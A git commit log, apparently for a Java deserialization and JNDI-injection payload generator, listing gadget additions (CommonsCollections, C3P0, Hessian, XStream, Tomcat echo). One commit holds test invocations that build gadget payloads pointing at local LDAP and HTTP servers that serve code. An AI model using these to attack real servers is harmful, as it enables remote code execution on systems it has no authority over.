qi4l
|
e053c403e9
|
fix: tomcatjdbc
|
2024-10-31 20:53:30 +08:00 |
|
qi4l
|
4be7384106
|
feat: add onlyref ldap2rmi
|
2024-10-31 14:41:37 +08:00 |
|
Your Name
|
192a0ac085
|
fix(HTTPServer.java): Bug fixes
|
2024-10-21 15:29:04 +08:00 |
|
Lya0
|
eed218cc0c
|
增加 marshalsec 的output
一些测试用例
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g XBean -p http://127.0.0.1:8080/ExecObject -js
-y -g LazySearchEnumeration -p http://127.0.0.1:8080/ExecObject -js
-y -g Resin -p http://127.0.0.1:8080/ExecObject -js
-y -g Groovy -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
-y -g Rome -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk
-y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk
|
2024-09-15 16:30:26 +08:00 |
|
qi4L
|
95adfbb45c
|
fix(Gadgets.java): _name Repair
|
2024-09-15 13:42:27 +08:00 |
|
qi4L
|
3f7148f93c
|
perf(Starter.java): remove author
|
2024-09-11 10:53:30 +08:00 |
|
qi4L
|
8b502cb472
|
feat(Starter.java): add author
|
2024-09-11 10:49:32 +08:00 |
|
qi4L
|
33cc64d0ad
|
feat(Starter.java): add logo
|
2024-09-11 10:47:46 +08:00 |
|
qi4L
|
a6bbe67d9e
|
feat(qscan.go): add logo
|
2024-09-11 10:46:10 +08:00 |
|
qi4L
|
54e5de4b0a
|
+BUG
|
2024-09-09 22:32:17 +08:00 |
|
qi4L
|
99a640249f
|
add ldaps++
|
2024-09-01 11:21:06 +08:00 |
|
qi4L
|
05a86ce158
|
add ldaps
|
2024-09-01 11:07:55 +08:00 |
|
qi4L
|
ef963e8568
|
++++3
|
2024-08-26 12:34:42 +08:00 |
|
qi4L
|
48c03d08df
|
++++1
|
2024-08-26 12:10:08 +08:00 |
|
炁
|
1af4889b92
|
Merge pull request #53 from springkill/master
add XStream suggestion
|
2024-08-26 11:39:36 +08:00 |
|
Fw-fW-fw
|
3b84752c20
|
add Hibernate3JDBC (org.hibernate<=4.12可用)
|
2024-08-19 22:48:39 +08:00 |
|
Fw-fW-fw
|
2288a5eb85
|
add Hibernate3JDBC (org.hibernate<=4.12可用)
|
2024-08-19 22:42:26 +08:00 |
|
Fw-fW-fw
|
5633bb5095
|
add Hibernate3JDBC (org.hibernate<=4.12可用)
|
2024-08-19 22:32:59 +08:00 |
|
Fw-fW-fw
|
9db31149d0
|
groovy2 gadget反序列时触发,方便组合
|
2024-08-19 19:06:59 +08:00 |
|
Fw-fW-fw
|
7d7128b4db
|
add 7gadgets (降级groovyt适配新gadget)
|
2024-08-19 18:58:51 +08:00 |
|
Fw-fW-fw
|
5c766bfbf8
|
add 7gadgets (降级groovyt适配新gadget)
|
2024-08-16 22:58:15 +08:00 |
|
springkill
|
f96a58d292
|
edit description.
|
2024-08-16 22:46:59 +08:00 |
|
Fw-fW-fw
|
115548a2d6
|
add 7gadgets (降级groovyt,hibernate适配新gadget)
|
2024-08-16 22:42:49 +08:00 |
|
springkill
|
4cf43d6260
|
Support xstream
|
2024-08-16 21:29:12 +08:00 |
|
Fw-fW-fw
|
5f37ed1abc
|
add 7gadgets (降级groovyt,hibernate适配新gadget)
|
2024-08-16 21:05:10 +08:00 |
|
Fw-fW-fw
|
a3999b8186
|
add 7gadgets (降级groovyt,hibernate适配新gadget)
|
2024-08-16 21:03:29 +08:00 |
|
qi4L
|
4bcce8789f
|
base64编码输出Payload
|
2024-08-13 18:43:58 +08:00 |
|
qi4L
|
993a923828
|
修复hessian
|
2024-08-13 10:52:53 +08:00 |
|
qi4L
|
8e10aeacc1
|
hessian类型的Payload
|
2024-08-04 14:55:22 +08:00 |
|
springkill
|
5b7ebf3833
|
Add Gadgets
|
2024-08-02 09:58:53 +08:00 |
|
qi4L
|
e7b282c231
|
Increase CC13
|
2024-07-27 15:56:38 +08:00 |
|
qi4L
|
27d53bc131
|
修复 Exploit
|
2024-07-24 15:38:01 +08:00 |
|
qi4L
|
72a91dd13f
|
Add constructor
|
2024-05-29 16:13:04 +08:00 |
|
qi4L
|
114eadcb13
|
重写TomcatEchoJndi
|
2024-05-23 17:41:09 +08:00 |
|
qi4L
|
8bb2c43d3b
|
tomcat修复
|
2024-05-16 16:23:12 +08:00 |
|
qi4L
|
5e7792ed58
|
re README +++2
|
2024-05-16 11:25:03 +08:00 |
|
qi4L
|
2302b0d48e
|
+ TomcatJdbcController
|
2024-05-16 11:01:45 +08:00 |
|
qi4L
|
cc44392ddd
|
msf+
|
2024-05-14 18:05:39 +08:00 |
|
qi4L
|
15bfe30f23
|
msf
|
2024-05-14 17:54:33 +08:00 |
|
qi4L
|
c3eb683011
|
re libs
|
2024-05-14 17:11:22 +08:00 |
|
qi4L
|
5f3699453c
|
re README +++
|
2024-05-13 09:31:21 +08:00 |
|
qi4L
|
ec22786847
|
+ cb161
|
2024-04-30 14:44:03 +08:00 |
|
qi4L
|
51c0929d3d
|
de Authors
|
2024-04-29 16:38:17 +08:00 |
|
qi4L
|
07703764af
|
cb5
|
2024-04-29 15:10:38 +08:00 |
|
qi4L
|
b7fbbbcccc
|
re logo
|
2024-04-28 17:57:51 +08:00 |
|
qi4L
|
130d67f3ef
|
gradle++1
|
2024-04-02 17:04:39 +08:00 |
|